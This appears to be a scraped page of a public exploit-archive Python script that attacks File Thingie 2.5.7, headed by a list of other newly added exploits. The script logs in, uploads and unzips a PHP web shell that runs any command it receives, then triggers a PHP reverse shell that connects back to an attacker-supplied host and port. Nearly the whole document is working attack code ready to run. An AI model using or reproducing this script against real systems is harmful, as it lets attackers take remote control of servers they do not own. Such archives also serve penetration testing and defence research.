
20 changes to exploits/shellcodes/ghdb Codigo Markdown Editor v1.0.1 (Electron) - Remote Code Execution Cmaps v8.0 - SQL injection EasyPHP Webserver 14.1 - Multiple Vulnerabilities (RCE and Path Traversal) File Thingie 2.5.7 - Remote Code Execution (RCE) Intern Record System v1.0 - SQL Injection (Unauthenticated) Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls Jedox 2020.2.5 - Remote Code Execution via Configurable Storage Path Jedox 2020.2.5 - Remote Code Execution via Executable Groovy-Scripts Jedox 2020.2.5 - Stored Cross-Site Scripting in Log-Module Jedox 2022.4.2 - Code Execution via RPC Interfaces Jedox 2022.4.2 - Disclosure of Database Credentials via Connection Checks Jedox 2022.4.2 - Remote Code Execution via Directory Traversal KodExplorer v4.51.03 - Pwned-Admin File-Inclusion - Remote Code Execution (RCE) Online Pizza Ordering System v1.0 - Unauthenticated File Upload pluck v4.7.18 - Stored Cross-Site Scripting (XSS) Simple Task Managing System v1.0 - SQL Injection (Unauthenticated) Ulicms-2023.1 sniffing-vicuna - Remote Code Execution (RCE) Ulicms-2023.1 sniffing-vicuna - Stored Cross-Site Scripting (XSS) Wolf CMS 0.8.3.1 - Remote Code Execution (RCE)
189 lines
No EOL
7.7 KiB
Python
Executable file
189 lines
No EOL
7.7 KiB
Python
Executable file
#!/usr/bin/python
|
|
|
|
# Exploit Title: File Thingie 2.5.7 - Remote Code Execution (RCE)
|
|
# Google Dork: N/A
|
|
# Date: 27th of April, 2023
|
|
# Exploit Author: Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
|
|
# Software Link: https://github.com/leefish/filethingie
|
|
# Version: 2.5.7
|
|
# Tested on: N/A
|
|
# CVE: N/A
|
|
|
|
# Vulnerability originally discovered / published by Cakes
|
|
# Reference: https://www.exploit-db.com/exploits/47349
|
|
# Run a local listener on your machine and youre good to go
|
|
|
|
|
|
import os
|
|
import argparse
|
|
import requests
|
|
import random
|
|
import string
|
|
import zipfile
|
|
from urllib.parse import urlsplit, urlunsplit, quote
|
|
|
|
|
|
class Exploit:
|
|
def __init__(self, target, username, password, lhost, lport):
|
|
self.target = target
|
|
self.username = username
|
|
self.password = password
|
|
self.lhost = lhost
|
|
self.lport = lport
|
|
|
|
def try_login(self) -> bool:
|
|
self.session = requests.Session()
|
|
|
|
post_body = {"ft_user": f"{self.username}", "ft_pass": f"{self.password}", "act": "dologin"}
|
|
response = self.session.post(self.target, data=post_body)
|
|
|
|
if response.status_code == 404:
|
|
print(f"[-] 404 Not Found - The requested resource {self.target} was not found")
|
|
return False
|
|
|
|
elif response.status_code == 200:
|
|
|
|
if "Invalid username or password" in response.text:
|
|
print(f"Invalid username or password")
|
|
return False
|
|
|
|
return True
|
|
|
|
def create_new_folder(self) -> bool:
|
|
# Generate random string
|
|
letters = string.ascii_letters
|
|
self.payload_filename = "".join(random.choice(letters) for i in range(16))
|
|
headers = {"Content-Type": "application/x-www-form-urlencoded"}
|
|
post_body = {f"type": "folder", "newdir": f"{self.payload_filename}", "act": "createdir", "dir": "", "submit" :"Ok"}
|
|
|
|
print(f"[*] Creating new folder /{self.payload_filename}")
|
|
response = self.session.post(self.target, headers=headers, data=post_body)
|
|
|
|
if f"index.php?dir=/{self.payload_filename}" in response.text:
|
|
print(f"[+] Created new folder /{self.payload_filename}")
|
|
return True
|
|
|
|
else:
|
|
print(f"[-] Could not create new folder /{self.payload_filename}")
|
|
return False
|
|
|
|
def create_payload(self) -> bool:
|
|
try:
|
|
with zipfile.ZipFile(f"{self.payload_filename}.zip", 'w', compression=zipfile.ZIP_DEFLATED) as zip_file:
|
|
zip_file.writestr(f"{self.payload_filename}.php", "<?php if(isset($_REQUEST[\'cmd\'])){ echo \"<pre>\"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo \"</pre>\"; die; }?>")
|
|
print(f"[+] Zipped payload to {self.payload_filename}.zip")
|
|
return True
|
|
except:
|
|
print(f"[-] Could not create payload to {self.payload_filename}.zip")
|
|
return False
|
|
|
|
def upload_payload(self) -> bool:
|
|
# Set up the HTTP headers and data for the request
|
|
headers = {
|
|
b'Content-Type': b'multipart/form-data; boundary=---------------------------grimlockx'
|
|
}
|
|
|
|
post_body = (
|
|
'-----------------------------grimlockx\r\n'
|
|
'Content-Disposition: form-data; name="localfile-1682513975953"; filename=""\r\n'
|
|
'Content-Type: application/octet-stream\r\n\r\n'
|
|
)
|
|
|
|
post_body += (
|
|
'\r\n-----------------------------grimlockx\r\n'
|
|
'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n'
|
|
'2000000\r\n'
|
|
'-----------------------------grimlockx\r\n'
|
|
f'Content-Disposition: form-data; name="localfile"; filename="{self.payload_filename}.zip"\r\n'
|
|
'Content-Type: application/zip\r\n\r\n'
|
|
)
|
|
|
|
# Read the zip file contents and append them to the data
|
|
with open(f"{self.payload_filename}.zip", "rb") as f:
|
|
post_body += ''.join(map(chr, f.read()))
|
|
|
|
post_body += (
|
|
'\r\n-----------------------------grimlockx\r\n'
|
|
'Content-Disposition: form-data; name="act"\r\n\r\n'
|
|
'upload\r\n'
|
|
'-----------------------------grimlockx\r\n'
|
|
'Content-Disposition: form-data; name="dir"\r\n\r\n'
|
|
f'/{self.payload_filename}\r\n'
|
|
'-----------------------------grimlockx\r\n'
|
|
'Content-Disposition: form-data; name="submit"\r\n\r\n'
|
|
'Upload\r\n'
|
|
'-----------------------------grimlockx--\r\n'
|
|
)
|
|
|
|
print("[*] Uploading payload to the target")
|
|
|
|
response = self.session.post(self.target, headers=headers, data=post_body)
|
|
|
|
if f"<a href=\"./{self.payload_filename}/{self.payload_filename}.zip\" title=\"Show {self.payload_filename}.zip\">{self.payload_filename}.zip</a>" in response.text:
|
|
print("[+] Uploading payload successful")
|
|
return True
|
|
|
|
else:
|
|
print("[-] Uploading payload failed")
|
|
return False
|
|
|
|
def get_base_url(self) -> str:
|
|
url_parts = urlsplit(self.target)
|
|
path_parts = url_parts.path.split('/')
|
|
path_parts.pop()
|
|
base_url = urlunsplit((url_parts.scheme, url_parts.netloc, '/'.join(path_parts), "", ""))
|
|
return base_url
|
|
|
|
def unzip_payload(self) -> bool:
|
|
print("[*] Unzipping payload")
|
|
headers = {"Content-Type": "application/x-www-form-urlencoded"}
|
|
post_body = {"newvalue": f"{self.payload_filename}.zip", "file": f"{self.payload_filename}.zip", "dir": f"/{self.payload_filename}", "act": "unzip"}
|
|
response = self.session.post(f"{self.target}", headers=headers, data=post_body)
|
|
|
|
if f"<p class='ok'>{self.payload_filename}.zip unzipped.</p>" in response.text:
|
|
print("[+] Unzipping payload successful")
|
|
print(f"[+] You can now execute commands by opening {self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd=<command>")
|
|
return True
|
|
|
|
else:
|
|
print("[-] Unzipping payload failed")
|
|
return False
|
|
|
|
def execute_payload(self) -> bool:
|
|
print("[*] Trying the get a reverse shell")
|
|
|
|
cmd = quote(f"php -r \'$sock=fsockopen(\"{self.lhost}\",{self.lport});system(\"/bin/bash <&3 >&3 2>&3\");\'")
|
|
print("[*] Executing payload")
|
|
|
|
response = self.session.get(f"{self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd={cmd}")
|
|
print("[+] Exploit complete")
|
|
|
|
return True
|
|
|
|
def cleanup_local_files(self) -> bool:
|
|
if os.path.exists(f"{self.payload_filename}.zip"):
|
|
os.remove(f"{self.payload_filename}.zip")
|
|
print("[+] Cleaned up zipped payload on local machine")
|
|
return True
|
|
|
|
print("[-] Could not clean up zipped payload on local machine")
|
|
return False
|
|
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target URL to ft2.php")
|
|
parser.add_argument("-u", "--username", dest="username", type=str, required=True, help="FileThingie username")
|
|
parser.add_argument("-p", "--password", dest="password", type=str, required=True, help="FileThingie password")
|
|
parser.add_argument("-L", "--LHOST", dest="lhost", type=str, required=True, help="Local listener ip")
|
|
parser.add_argument("-P", "-LPORT", dest="lport", type=int, required=True, help="Local listener port")
|
|
args = parser.parse_args()
|
|
|
|
exploit = Exploit(args.target, args.username, args.password, args.lhost, args.lport)
|
|
exploit.try_login()
|
|
exploit.create_new_folder()
|
|
exploit.create_payload()
|
|
exploit.upload_payload()
|
|
exploit.unzip_payload()
|
|
exploit.execute_payload()
|
|
exploit.cleanup_local_files() |